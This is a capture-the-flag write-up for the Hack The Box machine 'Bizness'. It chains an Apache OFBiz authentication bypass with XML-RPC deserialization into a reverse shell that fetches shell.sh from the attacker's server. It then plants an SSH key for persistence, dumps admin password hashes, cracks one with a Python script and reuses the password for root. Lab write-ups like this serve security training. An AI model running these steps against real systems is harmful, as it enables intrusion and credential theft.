Bizness
9 minutes to read
root
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.252
- Release: 06 / 01 / 2024
Port scanning
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.252 -p 22,80,443,43569
Nmap scan report for 10.10.11.252
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_ http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 32.37 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Enumeration
If we go to http://10.10.11.252
, we will be redirected to http://bizness.htb
, so we need to enter bizness.htb
into /etc/hosts
.
At the bottom of the page we can see that the webpage is built with Apache OFBiz:
For the moment, let’s enumerate some routes using fuzzing:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://bizness.htb/FUZZ -r -fs 27200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://bizness.htb/FUZZ
:: Wordlist : FUZZ: /opt/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 27200
________________________________________________
control [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 4067ms]
ap [Status: 200, Size: 11077, Words: 1211, Lines: 186, Duration: 5874ms]
example [Status: 200, Size: 11153, Words: 1220, Lines: 188, Duration: 2096ms]
ecommerce [Status: 200, Size: 530, Words: 55, Lines: 9, Duration: 138ms]
accounting [Status: 200, Size: 11103, Words: 1211, Lines: 186, Duration: 1405ms]
projectmgr [Status: 200, Size: 11182, Words: 1221, Lines: 187, Duration: 2672ms]
webtools [Status: 200, Size: 9851, Words: 1003, Lines: 154, Duration: 1324ms]
bi [Status: 200, Size: 11058, Words: 1211, Lines: 186, Duration: 1065ms]
myportal [Status: 200, Size: 10724, Words: 1193, Lines: 180, Duration: 2497ms]
facility [Status: 200, Size: 11107, Words: 1211, Lines: 186, Duration: 754ms]
manufacturing [Status: 200, Size: 11149, Words: 1211, Lines: 186, Duration: 384ms]
solr [Status: 200, Size: 11072, Words: 1212, Lines: 186, Duration: 1763ms]
sfa [Status: 200, Size: 11262, Words: 1236, Lines: 188, Duration: 2229ms]
humanres [Status: 200, Size: 11594, Words: 1276, Lines: 191, Duration: 1440ms]
partymgr [Status: 200, Size: 11281, Words: 1236, Lines: 188, Duration: 1482ms]
ordermgr [Status: 200, Size: 11100, Words: 1211, Lines: 186, Duration: 1305ms]
workeffort [Status: 200, Size: 11103, Words: 1211, Lines: 186, Duration: 1402ms]
:: Progress: [43007/43007] :: Job [1/1] :: 82 req/sec :: Duration: [0:04:11] :: Errors: 5 ::
As can be seen, we have some interesting routes. For example /control
:
But the relevant one is /webtools
, which redirects to /webtools/control/main
:
This one shows some default credentials, and allows us to go to the login page:
Default credentials don’t work, but we can see the exact version of Apache OFBiz (18.12).
Foothold
If we look for vulnerabilities, we can find CVE-2023-51467, which allows to bypass authentication. Then, we can abuse another CVE-2023-49070 to get RCE through XML-RPC (more information at thehackernews.com).
OFBiz exploit
If we search a bit, we can find public exploit. I took the Java deserialization exploit I did for Monitors, and adapted it to work with the authentication bypass. This is just sending the deserialization payload to /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y
. Also, I had to change the way to call ysoserial
. The full script can be found at ofbiz_exploit.sh (detailed explanation here).
First we need to set up an HTTP server with Python and then we execute the exploit:
$ bash ofbiz_exploit.sh 10.10.17.44 4444 ysoserial-all.jar
Then, the remote machine will download the shell.sh
script and execute it:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.252 - - [] "GET /shell.sh HTTP/1.1" 200 -
So we get the connection:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.241.183:48618.
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
ofbiz@bizness:/opt/ofbiz$ export SHELL=bash
ofbiz@bizness:/opt/ofbiz$ stty rows 50 columns 158
At this point, we can get the user.txt
flag:
ofbiz@bizness:/opt/ofbiz$ cd
ofbiz@bizness:~$ cat user.txt
849775874d18052289b8fc696f504283
System enumeration
After doing basic enumeration checking for running processes, user permissions, internal ports… we don’t find anything relevant.
Instead, we can continue enumerating OFBiz. For instance, we can try to find the database. The official repository shows how to configure a database. Therefore, since OFBiz is based on Java, we must look for a JDBC, which must be set in framework/entity/lib
:
ofbiz@bizness:~$ cd /opt/ofbiz/
ofbiz@bizness:/opt/ofbiz$ ls framework/entity/lib/
postgresql-9.1-901.jdbc4.jar
However, there is no PostgreSQL service running (it should be on port 5432):
ofbiz@bizness:/opt/ofbiz$ netstat -nat | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 127.0.0.1:8443 :::* LISTEN
tcp6 0 0 127.0.0.1:10523 :::* LISTEN
tcp6 0 0 :::443 :::* LISTEN
tcp6 0 0 :::34083 :::* LISTEN
tcp6 0 0 127.0.0.1:8009 :::* LISTEN
tcp6 0 0 127.0.0.1:8080 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
Database backup
So, one thing we can do is try to access OFBiz as an administrator and do a backup of the database. I found a way to create a new administrator account from the command line interface in stackoverflow.net. But first of all, we need to stop the process, which will kill our reverse shell. Therefore, we can enter a public SSH key to keep persistence on the machine and not depend on the OFBiz process:
ofbiz@bizness:/opt/ofbiz$ mkdir ~/.ssh
ofbiz@bizness:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4oqlyZPkeS8Y5Tr32uf4M8nkW5U9ySBUP9C9yw9kVCspp4x3lM/jLx4goHAMmsh3CTpW4T34g0//9Q0yfbX1PSPU50lIiHXYOmgSePTmbvOZsFKMJmTE0k+DoktIykYuIkmiSQf/9ea2V8M/ew1Zh7KqD7j2WRw1iWNBmRr21AZKJ26kWZfRZ1mBJL4/Kei/DviXTDZbKG3ENLYTd5gzIKk7OGrYzeCIfgeMgZ5RjQPcg0mPy8XECs4L+mKRY9lCMMxyf6Cgr45Zyr5XuPa/vulwGc5Wgp3nAmS7trC1bY2UMQNaH6TnheizMHOnWdH/lNJHsWkfjIHjryEzvBpgXQFcJnTUUq5QnCLAYOrrYmFc6mG2HlNx+JbZkZy1BfLLUFzx3jc3E4tBt/qUqw5tuAbrRxw0VH/reCtKcTZGFASrjcxRO4e73hx63bnVoMhMD0bOtlr6RRtYThOvra4Ueq73vd6waKNfouo7h8/wDavBPkxIstLMxziMP9dZg7X0=' > ~/.ssh/authorized_keys
Now we can access via SSH without password and create a new administrator account for OFBiz:
$ ssh ofbiz@bizness.htb
Linux bizness 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 10 12:14:22 2024 from 10.10.14.134
ofbiz@bizness:~$ cd /opt/ofbiz/
ofbiz@bizness:/opt/ofbiz$ ./gradlew 'ofbiz --shutdown'
> Task :compileJava UP-TO-DATE
> Task :compileGroovy UP-TO-DATE
> Task :processResources UP-TO-DATE
> Task :classes UP-TO-DATE
> Task :jar UP-TO-DATE
> Task :startScripts UP-TO-DATE
> Task :distTar UP-TO-DATE
> Task :distZip UP-TO-DATE
> Task :assemble UP-TO-DATE
> Task :checkstyleMain UP-TO-DATE
> Task :compileTestJava UP-TO-DATE
> Task :compileTestGroovy UP-TO-DATE
> Task :processTestResources NO-SOURCE
> Task :testClasses UP-TO-DATE
> Task :checkstyleTest UP-TO-DATE
> Task :test UP-TO-DATE
> Task :check UP-TO-DATE
> Task :build UP-TO-DATE
> Task :ofbiz --shutdown
Config.java using configuration file start.properties
...
> Task :ofbiz --shutdown
Config.java using configuration file start.properties
Set OFBIZ_HOME to - /opt/ofbiz
Shutting down server : OK
BUILD SUCCESSFUL in 4s
13 actionable tasks: 1 executed, 12 up-to-date
ofbiz@bizness:/opt/ofbiz$ ./gradlew loadAdminUserLogin -PuserLoginId=myadmin
> Task :compileJava UP-TO-DATE
> Task :compileGroovy UP-TO-DATE
> Task :processResources UP-TO-DATE
> Task :classes UP-TO-DATE
> Task :jar UP-TO-DATE
> Task :startScripts UP-TO-DATE
> Task :distTar UP-TO-DATE
> Task :distZip UP-TO-DATE
> Task :assemble UP-TO-DATE
> Task :checkstyleMain UP-TO-DATE
> Task :compileTestJava UP-TO-DATE
> Task :compileTestGroovy UP-TO-DATE
> Task :processTestResources NO-SOURCE
> Task :testClasses UP-TO-DATE
> Task :checkstyleTest UP-TO-DATE
> Task :test UP-TO-DATE
> Task :check UP-TO-DATE
> Task :build UP-TO-DATE
> Task :executeLoadAdminUser
Config.java using configuration file load-data.properties
...
> Task :loadAdminUserLogin
BUILD SUCCESSFUL in 25s
14 actionable tasks: 2 executed, 12 up-to-date
ofbiz@bizness:/opt/ofbiz$ ./gradlew 'ofbiz --start'
> Task :compileJava UP-TO-DATE
> Task :compileGroovy UP-TO-DATE
> Task :processResources UP-TO-DATE
> Task :classes UP-TO-DATE
> Task :jar UP-TO-DATE
> Task :startScripts UP-TO-DATE
> Task :distTar UP-TO-DATE
> Task :distZip UP-TO-DATE
> Task :assemble UP-TO-DATE
> Task :checkstyleMain UP-TO-DATE
> Task :compileTestJava UP-TO-DATE
> Task :compileTestGroovy UP-TO-DATE
> Task :processTestResources NO-SOURCE
> Task :testClasses UP-TO-DATE
> Task :checkstyleTest UP-TO-DATE
> Task :test UP-TO-DATE
> Task :check UP-TO-DATE
> Task :build UP-TO-DATE
> Task :ofbiz --start
Config.java using configuration file start.properties
...
At this point, we can go on the web and access using credentials myadmin:ofbiz
. Then, the service will prompt us to create a new password:
And we will land on the administration panel:
After a bit of time navigating all the options, we find the right place to backup the database to a XML file:
Actually, we can choose which entities (SQL tables) to backup. We are interested in UserLogin
:
Once the backup is done, we can find it at /dev/shm
:
ofbiz@bizness:/opt/ofbiz$ cat /dev/shm/userlogin.xml
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
<UserLogin userLoginId="myadmin" currentPassword="$SHA$pyNT3jL.yRQVp$UbBJA0WEd6NCPzOJhCv5hBUIz1k" enabled="Y" hasLoggedOut="N" requirePasswordChange="N" l
astTimeZone="Europe/Madrid" lastUpdatedStamp="2024-01-10 12:18:18.889" lastUpdatedTxStamp="2024-01-10 12:18:18.826" createdStamp="2024-01-10 12:16:27.176" cre
atedTxStamp="2024-01-10 12:16:26.925"/>
<UserLogin userLoginId="admin" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" requirePasswordChange="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445"/>
<UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2023-12-16 03:38:54.747" lastUpdatedTxStamp="2023-12-16 03:38:54.284" createdStamp="2023-12-16 03:38:54.747" createdTxStamp="2023-12-16 03:38:54.284"/>
<UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2023-12-16 03:39:04.584" lastUpdatedTxStamp="2023-12-16 03:39:04.538" createdStamp="2023-12-16 03:38:54.694" createdTxStamp="2023-12-16 03:38:54.284" partyId="system"/>
</entity-engine-xml>
Privilege escalation
There we have some credentials and password hashes. We are interested in cracking admin
’s hash:
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
This is a custom format designed by OFBiz, so we will need to dive into the code and look for the actual format. If we simply search by this, we will get some documentation.
Looking at the package path (ofbiz.base.crypto.HashCrypt
) we can easily go to the official repository and find the relevant file: HashCrypt.java. We need to focus on two methods:
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(SECURE_RANDOM.nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(StandardCharsets.UTF_8));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
As can be seen, the hash format is $<hash-type>$<salt>$urlsafe_base64_encode(<message-digest>)
, and the message digest is calculated as hash-type(salt | message-digest)
.
In order to crack the hash, I will use Python REPL and rockyou.txt
(notice that we need to add a =
sign due to Base64 padding):
$ python3 -q
>>> from base64 import urlsafe_b64decode
>>> from hashlib import sha1
>>>
>>> salt = b'd'
>>> message_digest = urlsafe_b64decode('uP0_QaVBpDWFeo8-dRzDqRwXQ2I=')
>>>
>>> with open('rockyou.txt', 'rb') as f:
... while (password := f.readline()):
... if message_digest == sha1(salt + password.strip()).digest():
... print(password.strip().decode())
... break
...
monkeybizness
And there we have the password. At this point, we can try to reuse this password for the root
user:
ofbiz@bizness:/opt/ofbiz$ su root
Password:
root@bizness:/opt/ofbiz# cd
root@bizness:~# cat root.txt
6609d076350235f1d67413859dd84d1f
So, we have root
access!